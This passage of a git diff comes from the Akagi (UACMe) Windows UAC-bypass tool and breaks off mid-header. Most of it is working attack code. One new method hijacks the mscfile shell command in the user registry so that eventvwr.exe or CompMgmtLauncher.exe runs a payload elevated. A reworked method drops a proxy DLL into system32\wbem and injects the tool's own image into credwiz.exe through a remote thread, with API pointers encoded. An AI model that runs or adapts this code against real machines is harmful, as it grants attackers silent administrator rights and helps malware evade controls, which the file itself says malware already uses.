FALSE; + } #endif - do { + do { - RtlSecureZeroMemory(szCombinedPath, sizeof(szCombinedPath)); - _strcpy(szCombinedPath, g_ctx.szTempDirectory); - _strcat(szCombinedPath, L"huy32"); - if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet - if (GetLastError() != ERROR_ALREADY_EXISTS) - break; - } + RtlSecureZeroMemory(szCombinedPath, sizeof(szCombinedPath)); + _strcpy(szCombinedPath, g_ctx.szTempDirectory); + _strcat(szCombinedPath, L"huy32"); + if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet + if (GetLastError() != ERROR_ALREADY_EXISTS) + break; + } - _strcpy(szLinkFile, szCombinedPath); - _strcat(szLinkFile, T_CLSID_MYCOMPUTER_COMET); - if (!CreateDirectory(szLinkFile, NULL)) {//%temp%\\Comet.{20D04FE0-3AEA-1069-A2D8-08002B30309D} - if (GetLastError() != ERROR_ALREADY_EXISTS) - break; - } + _strcpy(szLinkFile, szCombinedPath); + _strcat(szLinkFile, T_CLSID_MYCOMPUTER_COMET); + if (!CreateDirectory(szLinkFile, NULL)) {//%temp%\\Comet.{20D04FE0-3AEA-1069-A2D8-08002B30309D} + if (GetLastError() != ERROR_ALREADY_EXISTS) + break; + } - if (!ucmSetEnvVariable(FALSE, T_PROGRAMDATA, szCombinedPath)) - break; + if (!ucmSetEnvVariable(FALSE, T_PROGRAMDATA, szCombinedPath)) + break; - _strcat(szCombinedPath, TEXT("\\Microsoft")); - if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft - if (GetLastError() != ERROR_ALREADY_EXISTS) - break; - } + _strcat(szCombinedPath, TEXT("\\Microsoft")); + if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft + if (GetLastError() != ERROR_ALREADY_EXISTS) + break; + } - _strcat(szCombinedPath, TEXT("\\Windows")); - if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows - if (GetLastError() != ERROR_ALREADY_EXISTS) - break; - } + _strcat(szCombinedPath, TEXT("\\Windows")); + if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows + if (GetLastError() != ERROR_ALREADY_EXISTS) + break; + } - _strcat(szCombinedPath, TEXT("\\Start Menu")); - if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows\Start Menu - if (GetLastError() != ERROR_ALREADY_EXISTS) - break; - } + _strcat(szCombinedPath, TEXT("\\Start Menu")); + if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows\Start Menu + if (GetLastError() != ERROR_ALREADY_EXISTS) + break; + } - _strcat(szCombinedPath, TEXT("\\Programs")); - if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows\Start Menu\Programs - if (GetLastError() != ERROR_ALREADY_EXISTS) - break; - } + _strcat(szCombinedPath, TEXT("\\Programs")); + if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows\Start Menu\Programs + if (GetLastError() != ERROR_ALREADY_EXISTS) + break; + } - _strcat(szCombinedPath, TEXT("\\Administrative Tools")); - if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows\Start Menu\Programs\Administrative Tools - if (GetLastError() != ERROR_ALREADY_EXISTS) - break; - } + _strcat(szCombinedPath, TEXT("\\Administrative Tools")); + if (!CreateDirectory(szCombinedPath, NULL)) {//%temp%\Comet\Microsoft\Windows\Start Menu\Programs\Administrative Tools + if (GetLastError() != ERROR_ALREADY_EXISTS) + break; + } - hResult = CoInitialize(NULL); - if (SUCCEEDED(hResult)) { - hResult = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (LPVOID *)&newLink); - if (SUCCEEDED(hResult)) { - newLink->lpVtbl->SetPath(newLink, lpszPayload); - newLink->lpVtbl->SetArguments(newLink, L""); - newLink->lpVtbl->SetDescription(newLink, L"Comet method"); - hResult = newLink->lpVtbl->QueryInterface(newLink, &IID_IPersistFile, (void **)&persistFile); - if (SUCCEEDED(hResult)) { - _strcpy(szLinkFile, szCombinedPath); - _strcat(szLinkFile, L"\\Computer Management.lnk"); - if (SUCCEEDED(persistFile->lpVtbl->Save(persistFile, szLinkFile, TRUE))) { - persistFile->lpVtbl->Release(persistFile); + hResult = CoInitialize(NULL); + if (SUCCEEDED(hResult)) { + hResult = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (LPVOID *)&newLink); + if (SUCCEEDED(hResult)) { + newLink->lpVtbl->SetPath(newLink, lpszPayload); + newLink->lpVtbl->SetArguments(newLink, L""); + newLink->lpVtbl->SetDescription(newLink, L"Comet method"); + hResult = newLink->lpVtbl->QueryInterface(newLink, &IID_IPersistFile, (void **)&persistFile); + if (SUCCEEDED(hResult)) { + _strcpy(szLinkFile, szCombinedPath); + _strcat(szLinkFile, L"\\Computer Management.lnk"); + if (SUCCEEDED(persistFile->lpVtbl->Save(persistFile, szLinkFile, TRUE))) { + persistFile->lpVtbl->Release(persistFile); - _strcpy(szCombinedPath, g_ctx.szTempDirectory); - _strcat(szCombinedPath, L"huy32"); - _strcpy(szLinkFile, szCombinedPath); - _strcat(szLinkFile, T_CLSID_MYCOMPUTER_COMET); + _strcpy(szCombinedPath, g_ctx.szTempDirectory); + _strcat(szCombinedPath, L"huy32"); + _strcpy(szLinkFile, szCombinedPath); + _strcat(szLinkFile, T_CLSID_MYCOMPUTER_COMET); - ShellExecute(NULL, L"Manage", szLinkFile, L"", szCombinedPath, SW_SHOW); - bResult = TRUE; - } - } - newLink->lpVtbl->Release(newLink); - } - } + ShellExecute(NULL, L"Manage", szLinkFile, L"", szCombinedPath, SW_SHOW); + bResult = TRUE; + } + } + newLink->lpVtbl->Release(newLink); + } + } - } while (bCond); + } while (bCond); #ifndef _WIN64 - if (g_ctx.IsWow64) { - RtlWow64EnableFsRedirectionEx(OldValue, &OldValue); - } + if (g_ctx.IsWow64) { + RtlWow64EnableFsRedirectionEx(OldValue, &OldValue); + } #endif ucmSetEnvVariable(TRUE, T_PROGRAMDATA, NULL); - return bResult; + return bResult; } diff --git a/Source/Akagi/consts.h b/Source/Akagi/consts.h index f86ab9e..447fbc8 100644 --- a/Source/Akagi/consts.h +++ b/Source/Akagi/consts.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 2.52 +* VERSION: 2.53 * -* DATE: 17 Jan 2017 +* DATE: 18 Jan 2017 * * Global consts definition file. * @@ -37,6 +37,7 @@ #define MANIFEST_EXT L".manifest" #define ELLOCNAK_MSU L"ellocnak.msu" +#define NTDLL_DLL L"ntdll.dll" #define KERNEL32_DLL L"kernel32.dll" #define OLE32_DLL L"ole32.dll" #define SHELL32_DLL L"shell32.dll" @@ -73,6 +74,7 @@ #define SPINSTALL_EXE L"spinstall.exe" #define CONSENT_EXE L"consent.exe" #define EVENTVWR_EXE L"eventvwr.exe" +#define COMPMGMTLAUNCHER_EXE L"CompMgmtLauncher.exe" #define PKGMGR_EXE L"pkgmgr.exe" #define SYSPREP_DIR L"sysprep\\" #define INETSRV_DIR L"inetsrv\\" diff --git a/Source/Akagi/enigma0x3.c b/Source/Akagi/enigma0x3.c new file mode 100644 index 0000000..b71ae86 --- /dev/null +++ b/Source/Akagi/enigma0x3.c @@ -0,0 +1,103 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2016 - 2017 +* +* TITLE: ENIGMA0X3.C +* +* VERSION: 2.53 +* +* DATE: 18 Jan 2017 +* +* Enigma0x3 autoelevation method. +* Used by unnamed MSIL malware. +* +* For description please visit original URL +* https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#include "global.h" + +/* +* ucmHijackShellCommandMethod +* +* Purpose: +* +* Overwrite Default value of mscfile shell command with your payload. +* +*/ +BOOL ucmHijackShellCommandMethod( + _In_opt_ LPWSTR lpszPayload, + _In_ LPWSTR lpszTargetApp + ) +{ + BOOL bCond = FALSE, bResult = FALSE; + HKEY hKey = NULL; + LRESULT lResult; + LPWSTR lpBuffer = NULL; + SIZE_T sz; + WCHAR szBuffer[MAX_PATH * 2]; + + if (lpszTargetApp == NULL) + return FALSE; + + do { + + sz = 0; + if (lpszPayload == NULL) { + sz = 0x1000; + } + else { + sz = _strlen(lpszPayload); + } + lpBuffer = RtlAllocateHeap(g_ctx.Peb->ProcessHeap, HEAP_ZERO_MEMORY, sz); + if (lpBuffer == NULL) + break; + + if (lpszPayload != NULL) { + _strcpy(lpBuffer, lpszPayload); + } + else { + //no payload specified, use default fubuki, drop dll first as wdscore.dll to %temp% + RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); + _strcpy(szBuffer, g_ctx.szTempDirectory); + _strcat(szBuffer, WDSCORE_DLL); + //write proxy dll to disk + if (!supWriteBufferToFile(szBuffer, g_ctx.PayloadDll, g_ctx.PayloadDllSize)) { + break; + } + + //now rundll it + _strcpy(lpBuffer, L"rundll32.exe "); + _strcat(lpBuffer, szBuffer); + _strcat(lpBuffer, L",WdsInitialize"); + } + + lResult = RegCreateKeyEx(HKEY_CURRENT_USER, + L"Software\\Classes\\mscfile\\shell\\open\\command", 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL); + + if (lResult != ERROR_SUCCESS) + break; + + lResult = RegSetValueEx(hKey, L"", 0, REG_SZ, (BYTE*)lpBuffer, + (DWORD)(_strlen(lpBuffer) * sizeof(WCHAR))); + + if (lResult != ERROR_SUCCESS) + break; + + bResult = supRunProcess(lpszTargetApp, NULL); + + } while (bCond); + + if (lpBuffer != NULL) + RtlFreeHeap(g_ctx.Peb->ProcessHeap, 0, lpBuffer); + + if (hKey != NULL) + RegCloseKey(hKey); + + return bResult; +} diff --git a/Source/Akagi/enigma0x3.h b/Source/Akagi/enigma0x3.h new file mode 100644 index 0000000..962f77e --- /dev/null +++ b/Source/Akagi/enigma0x3.h @@ -0,0 +1,24 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2016 - 2017 +* +* TITLE: ENIGMA0X3.H +* +* VERSION: 2.53 +* +* DATE: 18 Jan 2017 +* +* Prototypes and definitions for Enigma0x3 autoelevation method. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#pragma once + +BOOL ucmHijackShellCommandMethod( + _In_opt_ LPWSTR lpszPayload, + _In_ LPWSTR lpszTargetApp + ); diff --git a/Source/Akagi/global.h b/Source/Akagi/global.h index ebd2a54..e300011 100644 --- a/Source/Akagi/global.h +++ b/Source/Akagi/global.h @@ -4,9 +4,9 @@ * * TITLE: GLOBAL.H * -* VERSION: 2.52 +* VERSION: 2.53 * -* DATE: 17 Jan 2017 +* DATE: 18 Jan 2017 * * Common header file for the program support routines. * @@ -78,6 +78,7 @@ typedef enum _UACBYPASSMETHOD { UacMethodSXSConsent, UacMethodDISM, UacMethodComet, + UacMethodEnigma0x3, UacMethodMax } UACBYPASSMETHOD; @@ -98,6 +99,7 @@ typedef enum _UACBYPASSMETHOD { #include "carberp.h" #include "hybrids.h" #include "comet.h" +#include "enigma0x3.h" //default execution flow #define AKAGI_FLAG_KILO 0 diff --git a/Source/Akagi/hybrids.c b/Source/Akagi/hybrids.c index d0e17db..4c6a9c3 100644 --- a/Source/Akagi/hybrids.c +++ b/Source/Akagi/hybrids.c @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2015 - 2016 +* (C) COPYRIGHT AUTHORS, 2015 - 2017 * * TITLE: HYBRIDS.C * -* VERSION: 2.51 +* VERSION: 2.53 * -* DATE: 10 July 2016 +* DATE: 18 Jan 2017 * * Hybrid UAC bypass methods. * @@ -19,6 +19,7 @@ #include "global.h" #include "makecab.h" #include "manifest.h" +#include "sirefef.h" ELOAD_PARAMETERS_SIREFEF g_ElevParamsSirefef; @@ -380,6 +381,90 @@ DWORD WINAPI ucmElevatedLaunchProc( return S_OK; } +/* +* ucmSirefefBuildControlContext +* +* Purpose: +* +* Preparations for Sirefef method. +* +*/ +PZA_CONTROL_CONTEXT ucmSirefefBuildControlContext( + VOID + ) +{ + BOOL bCond = FALSE, bSuccess = FALSE; + ZA_CONTROL_CONTEXT *ctx = NULL; + SIZE_T sz; + PVOID Routine; + + + do { + sz = sizeof(ZA_CONTROL_CONTEXT); + NtAllocateVirtualMemory(NtCurrentProcess(), &ctx, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (ctx == NULL) + break; + + RtlSecureZeroMemory(ctx, sz); + + Routine = supNativeGetProcAddress(KERNEL32_DLL, "CopyFileW"); + if (Routine == NULL) + break; + ctx->pCopyFileW = RtlEncodePointer(Routine); + + Routine = supNativeGetProcAddress(KERNEL32_DLL, "CreateRemoteThread"); + if (Routine == NULL) + break; + ctx->pCreateRemoteThread = RtlEncodePointer(Routine); + + Routine = supNativeGetProcAddress(KERNEL32_DLL, "WaitForSingleObject"); + if (Routine == NULL) + break; + ctx->pWaitForSingleObject = RtlEncodePointer(Routine); + + Routine = supNativeGetProcAddress(KERNEL32_DLL, "CreateProcessW"); + if (Routine == NULL) + break; + ctx->pCreateProcess = RtlEncodePointer(Routine); + + Routine = supNativeGetProcAddress(KERNEL32_DLL, "WriteProcessMemory"); + if (Routine == NULL) + break; + ctx->pWriteProcessMemory = RtlEncodePointer(Routine); + + Routine = supNativeGetProcAddress(NTDLL_DLL, "NtClose"); + if (Routine == NULL) + break; + ctx->pNtClose = RtlEncodePointer(Routine); + + Routine = supNativeGetProcAddress(NTDLL_DLL, "NtAllocateVirtualMemory"); + if (Routine == NULL) + break; + ctx->pNtAllocateVirtualMemory = RtlEncodePointer(Routine); + + Routine = supNativeGetProcAddress(NTDLL_DLL, "NtTerminateProcess"); + if (Routine == NULL) + break; + ctx->pNtTerminateProcess = RtlEncodePointer(Routine); + + ctx->SfCopyFile = RtlEncodePointer(ucmMasqueradedMoveFileCOM); + ctx->ElevatedProcedure = RtlEncodePointer(ucmElevatedLaunchProc); + + ctx->ElevatedParameters = &g_ElevParamsSirefef; + + ctx->RunProcessEx = RtlEncodePointer(supRunProcessEx); + bSuccess = TRUE; + + } while (bCond); + + if (bSuccess != TRUE) { + sz = 0; + NtFreeVirtualMemory(NtCurrentProcess(), &ctx, &sz, MEM_RELEASE); + } + + return ctx; +} + /* * ucmSirefefMethod * @@ -391,23 +476,20 @@ DWORD WINAPI ucmElevatedLaunchProc( BOOL ucmSirefefMethod( PVOID ProxyDll, DWORD ProxyDllSize - ) +) { - BOOL cond = FALSE, bResult = FALSE; + BOOL bResult = FALSE, bCond = FALSE; + ZA_CONTROL_CONTEXT *za_ctx = NULL; + SIZE_T sz; DWORD c; + HANDLE hProcess = NULL, hRemoteThread = NULL; + HINSTANCE selfmodule = GetModuleHandle(NULL); PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule; PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD)); PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER)); LPVOID remotebuffer = NULL, newEp, newDp; - SIZE_T NumberOfBytesWritten = 0; - ELOAD_PARAMETERS_SIREFEF *elvpar = &g_ElevParamsSirefef; - LPVOID elevproc = ucmElevatedLaunchProc; - - WCHAR szBuffer[MAX_PATH * 2]; - WCHAR szDest[MAX_PATH * 2]; - WCHAR szSource[MAX_PATH * 2]; if ( (ProxyDll == NULL) || @@ -418,89 +500,105 @@ BOOL ucmSirefefMethod( } do { - //put Fubuki dll as netutils to %temp% - RtlSecureZeroMemory(szSource, sizeof(szSource)); - _strcpy(szSource, g_ctx.szTempDirectory); - _strcat(szSource, NETUTILS_DLL); - if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { + za_ctx = ucmSirefefBuildControlContext(); + if (za_ctx == NULL) + break; + + //put Fubuki dll as netutils to %temp% + _strcpy(za_ctx->szSource, g_ctx.szTempDirectory); + _strcat(za_ctx->szSource, NETUTILS_DLL); + if (!supWriteBufferToFile(za_ctx->szSource, ProxyDll, ProxyDllSize)) break; - } //move dll to wbem target folder - RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); - _strcpy(szBuffer, g_ctx.szSystemDirectory); - _strcat(szBuffer, WBEM_DIR); - bResult = ucmMasqueradedMoveFileCOM(szSource, szBuffer); - if (!bResult) { + _strcpy(za_ctx->szBuffer, g_ctx.szSystemDirectory); + _strcat(za_ctx->szBuffer, WBEM_DIR); + za_ctx->SfCopyFile = RtlDecodePointer(za_ctx->SfCopyFile); + bResult = za_ctx->SfCopyFile(za_ctx->szSource, za_ctx->szBuffer); + if (!bResult) break; - } //copy 1st stage target process - RtlSecureZeroMemory(szSource, sizeof(szSource)); - _strcpy(szSource, g_ctx.szSystemDirectory); - _strcat(szSource, CREDWIZ_EXE); + RtlSecureZeroMemory(za_ctx->szSource, sizeof(za_ctx->szSource)); + _strcpy(za_ctx->szSource, g_ctx.szSystemDirectory); + _strcat(za_ctx->szSource, CREDWIZ_EXE); - RtlSecureZeroMemory(szDest, sizeof(szDest)); - _strcpy(szDest, g_ctx.szTempDirectory); - _strcat(szDest, OOBE_EXE); - if (!CopyFile(szSource, szDest, FALSE)) { + RtlSecureZeroMemory(za_ctx->szDest, sizeof(za_ctx->szDest)); + _strcpy(za_ctx->szDest, g_ctx.szTempDirectory); + _strcat(za_ctx->szDest, OOBE_EXE); + za_ctx->pCopyFileW = RtlDecodePointer(za_ctx->pCopyFileW); + if (!za_ctx->pCopyFileW(za_ctx->szSource, za_ctx->szDest, FALSE)) break; - } - bResult = ucmMasqueradedMoveFileCOM(szDest, szBuffer); - if (!bResult) { + bResult = za_ctx->SfCopyFile(za_ctx->szDest, za_ctx->szBuffer); + if (!bResult) break; - } //setup basic shellcode routines - RtlSecureZeroMemory(&g_ElevParamsSirefef, sizeof(g_ElevParamsSirefef)); - elvpar->xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(g_ctx.hShell32, "ShellExecuteExW"); - elvpar->xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(g_ctx.hKernel32, "WaitForSingleObject"); - elvpar->xCloseHandle = (pfnCloseHandle)GetProcAddress(g_ctx.hKernel32, "CloseHandle"); + za_ctx->pWaitForSingleObject = RtlDecodePointer(za_ctx->pWaitForSingleObject); + za_ctx->ElevatedParameters->xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(g_ctx.hShell32, "ShellExecuteExW"); + za_ctx->ElevatedParameters->xWaitForSingleObject = (pfnWaitForSingleObject)za_ctx->pWaitForSingleObject; + za_ctx->pNtClose = RtlDecodePointer(za_ctx->pNtClose); + za_ctx->ElevatedParameters->xCloseHandle = (pfnCloseHandle)za_ctx->pNtClose; //set shellcode 2nd stage target process //c:\windows\system32\wbem\oobe.exe - RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); - _strcpy(elvpar->szTargetApp, g_ctx.szSystemDirectory); - _strcat(elvpar->szTargetApp, WBEM_DIR); - _strcat(elvpar->szTargetApp, OOBE_EXE); - _strcpy(elvpar->szVerb, RUNAS_VERB); + RtlSecureZeroMemory(za_ctx->szBuffer, sizeof(za_ctx->szBuffer)); + _strcpy(za_ctx->szBuffer, g_ctx.szSystemDirectory); + _strcat(za_ctx->szBuffer, WBEM_DIR); + _strcat(za_ctx->szBuffer, OOBE_EXE); + _strcpy(za_ctx->ElevatedParameters->szTargetApp, za_ctx->szBuffer); + _strcpy(za_ctx->ElevatedParameters->szVerb, RUNAS_VERB); - _strcpy(szBuffer, g_ctx.szSystemDirectory); //c:\windows\system32\credwiz.exe - _strcat(szBuffer, CREDWIZ_EXE); + RtlSecureZeroMemory(za_ctx->szBuffer, sizeof(za_ctx->szBuffer)); + + _strcpy(za_ctx->szBuffer, g_ctx.szSystemDirectory); //c:\windows\system32\credwiz.exe + _strcat(za_ctx->szBuffer, CREDWIZ_EXE); //run 1st stage target process - hProcess = supRunProcessEx(szBuffer, NULL, NULL); - if (hProcess == NULL) { + za_ctx->RunProcessEx = RtlDecodePointer(za_ctx->RunProcessEx); + hProcess = za_ctx->RunProcessEx(za_ctx->szBuffer, NULL, NULL, NULL); + if (hProcess == NULL) break; - } + + za_ctx->pNtAllocateVirtualMemory = RtlDecodePointer(za_ctx->pNtAllocateVirtualMemory); - remotebuffer = VirtualAllocEx(hProcess, NULL, (SIZE_T)opth->SizeOfImage, - MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - - if (remotebuffer == NULL) { + sz = (SIZE_T)opth->SizeOfImage; + za_ctx->pNtAllocateVirtualMemory(hProcess, &remotebuffer, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (remotebuffer == NULL) break; - } - if (!WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &NumberOfBytesWritten)) { + + za_ctx->pWriteProcessMemory = RtlDecodePointer(za_ctx->pWriteProcessMemory); + if (!za_ctx->pWriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &sz)) break; + + za_ctx->ElevatedProcedure = RtlDecodePointer(za_ctx->ElevatedProcedure); + + newEp = (char *)remotebuffer + ((char *)za_ctx->ElevatedProcedure - (char *)selfmodule); + newDp = (char *)remotebuffer + ((char *)za_ctx->ElevatedParameters - (char *)selfmodule); + + za_ctx->pCreateRemoteThread = RtlDecodePointer(za_ctx->pCreateRemoteThread); + + hRemoteThread = za_ctx->pCreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c); + if (hRemoteThread) { + za_ctx->pWaitForSingleObject(hRemoteThread, INFINITE); + za_ctx->pNtClose(hRemoteThread); + bResult = TRUE; } - newEp = (char *)remotebuffer + ((char *)elevproc - (char *)selfmodule); - newDp = (char *)remotebuffer + ((char *)elvpar - (char *)selfmodule); + } while (bCond); - hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c); - bResult = (hRemoteThread != NULL); - if (bResult) { - WaitForSingleObject(hRemoteThread, INFINITE); - CloseHandle(hRemoteThread); + if (za_ctx != NULL) { + if (hProcess != NULL) { + za_ctx->pNtTerminateProcess = RtlDecodePointer(za_ctx->pNtTerminateProcess); + za_ctx->pNtTerminateProcess(hProcess, 0); + za_ctx->pNtClose(hProcess); //NtClose already decoded } - } while (cond); - - if (hProcess != NULL) { - TerminateProcess(hProcess, 0); - CloseHandle(hProcess); + sz = 0; + NtFreeVirtualMemory(NtCurrentProcess(), &za_ctx, &sz, MEM_RELEASE); } + return bResult; } @@ -589,7 +687,7 @@ BOOL ucmGWX( PVOID Data = NULL, Ptr = NULL; ULONG DecompressedBufferSize = 0, DataSize = 0; - + do { //target dir @@ -606,22 +704,20 @@ BOOL ucmGWX( //summon some unicorns Ptr = supLdrQueryResourceData(KONGOU_ID, g_ctx.Peb->ImageBaseAddress, &DataSize); - if (Ptr == NULL) { - OutputDebugString(TEXT("[UCM] Resource not found")); + if (Ptr == NULL) break; - } + Data = DecompressPayload(Ptr, DataSize, &DecompressedBufferSize); if (Data == NULL) break; - + //write proxy dll to disk RtlSecureZeroMemory(szSource, sizeof(szSource)); _strcpy(szSource, g_ctx.szTempDirectory); _strcat(szSource, SLC_DLL); - if (!supWriteBufferToFile(szSource, g_ctx.PayloadDll, g_ctx.PayloadDllSize)) { + if (!supWriteBufferToFile(szSource, g_ctx.PayloadDll, g_ctx.PayloadDllSize)) break; - } - + //drop fubuki to system32\inetsrv RtlSecureZeroMemory(szDest, sizeof(szDest)); _strcpy(szDest, g_ctx.szSystemDirectory); @@ -630,12 +726,12 @@ BOOL ucmGWX( if (!bResult) { break; } - + //put target app RtlSecureZeroMemory(szSource, sizeof(szSource)); _strcpy(szSource, g_ctx.szTempDirectory); _strcat(szSource, INETMGR_EXE); - + //write app to disk if (!supWriteBufferToFile(szSource, Data, DecompressedBufferSize)) { break; @@ -646,14 +742,14 @@ BOOL ucmGWX( if (!bResult) { break; } - + _strcpy(szTargetApp, szDest); _strcat(szTargetApp, INETMGR_EXE); bResult = supRunProcess(szTargetApp, NULL); if (bResult) { - OutputDebugString(TEXT("Whoever created this gwx shit must be fired")); + OutputDebugString(TEXT("Next time be more creative ESET")); } - + } while (cond); if (Data != NULL) { diff --git a/Source/Akagi/main.c b/Source/Akagi/main.c index 966c2bf..1a0e1da 100644 --- a/Source/Akagi/main.c +++ b/Source/Akagi/main.c @@ -4,9 +4,9 @@ * * TITLE: MAIN.C * -* VERSION: 2.52 +* VERSION: 2.53 * -* DATE: 17 Jan 2017 +* DATE: 18 Jan 2017 * * Program entry point. * @@ -268,7 +268,7 @@ UINT ucmInit( UINT ucmMain() { DWORD paramLen; - WCHAR *pDllName; + WCHAR *pFileName; WCHAR szBuffer[MAX_PATH * 2]; UINT uResult; @@ -534,6 +534,9 @@ UINT ucmMain() case UacMethodComet: break; + + case UacMethodEnigma0x3: + break; } //prepare command for payload @@ -545,7 +548,7 @@ UINT ucmMain() supSetParameter((LPWSTR)&szBuffer, paramLen * sizeof(WCHAR)); } } - + //check environment and execute method if it met requirements switch (g_ctx.Method) { @@ -644,13 +647,13 @@ UINT ucmMain() } #endif if (g_ctx.dwBuildNumber < 9200) { - pDllName = POWRPROF_DLL; + pFileName = POWRPROF_DLL; } else { - pDllName = DEVOBJ_DLL; + pFileName = DEVOBJ_DLL; } - if (ucmWinSATMethod(pDllName, g_ctx.PayloadDll, g_ctx.PayloadDllSize, (g_ctx.dwBuildNumber <= 10136))) { + if (ucmWinSATMethod(pFileName, g_ctx.PayloadDll, g_ctx.PayloadDllSize, (g_ctx.dwBuildNumber <= 10136))) { return ERROR_SUCCESS; } break; @@ -666,7 +669,7 @@ UINT ucmMain() return ERROR_SUCCESS; } break; - + case UacMethodSirefef: #ifndef _DEBUG if (g_ctx.IsWow64) { @@ -763,7 +766,7 @@ UINT ucmMain() return ERROR_SUCCESS; } break; - + #endif case UacMethodComet: if (ucmCometMethod((paramLen != 0) ? szBuffer : T_DEFAULT_CMD)) { @@ -771,6 +774,24 @@ UINT ucmMain() } break; + case UacMethodEnigma0x3: +#ifndef _DEBUG + if (g_ctx.IsWow64) { //target application isn't always available under wow64 + ucmShowMessage(WOW64STRING); + return ERROR_UNSUPPORTED_TYPE; + } +#endif + + if (g_ctx.dwBuildNumber >= 15007) + pFileName = COMPMGMTLAUNCHER_EXE; + else + pFileName = EVENTVWR_EXE; + + if (ucmHijackShellCommandMethod((paramLen != 0) ? szBuffer : NULL, pFileName)) { + return ERROR_SUCCESS; + } + break; + } return ERROR_ACCESS_DENIED; diff --git a/Source/Akagi/sirefef.h b/Source/Akagi/sirefef.h new file mode 100644 index 0000000..3a1b0af --- /dev/null +++ b/Source/Akagi/sirefef.h @@ -0,0 +1,120 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2015 - 2017 +* +* TITLE: SIREFEF.H +* +* VERSION: 2.53 +* +* DATE: 18 Jan 2017 +* +* Prototypes and definitions for Sirefef/ZeroAccess method. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#pragma once + +typedef BOOL(NTAPI *pfnSfCopyFileElevated)( + LPWSTR SourceFileName, + LPWSTR DestinationDir + ); + +typedef BOOL(NTAPI *pfnCopyFileW)( + _In_ LPCWSTR lpExistingFileName, + _In_ LPCWSTR lpNewFileName, + _In_ BOOL bFailIfExists + ); + +typedef NTSTATUS(NTAPI *pfnNtAllocateVirtualMemory)( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + +typedef NTSTATUS(NTAPI *pfnNtTerminateProcess)( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +typedef NTSTATUS(NTAPI *pfnNtClose)( + _In_ HANDLE Handle + ); + +typedef HANDLE(NTAPI *pfnCreateRemoteThread)( + _In_ HANDLE hProcess, + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ SIZE_T dwStackSize, + _In_ LPTHREAD_START_ROUTINE lpStartAddress, + _In_opt_ LPVOID lpParameter, + _In_ DWORD dwCreationFlags, + _Out_opt_ LPDWORD lpThreadId + ); + +typedef DWORD(WINAPI *pfnWaitForSingleObject)( + _In_ HANDLE hHandle, + _In_ DWORD dwMilliseconds + ); + +typedef BOOL(WINAPI *pfnCreateProcessW)( + _In_opt_ LPCWSTR lpApplicationName, + _Inout_opt_ LPWSTR lpCommandLine, + _In_opt_ LPSECURITY_ATTRIBUTES 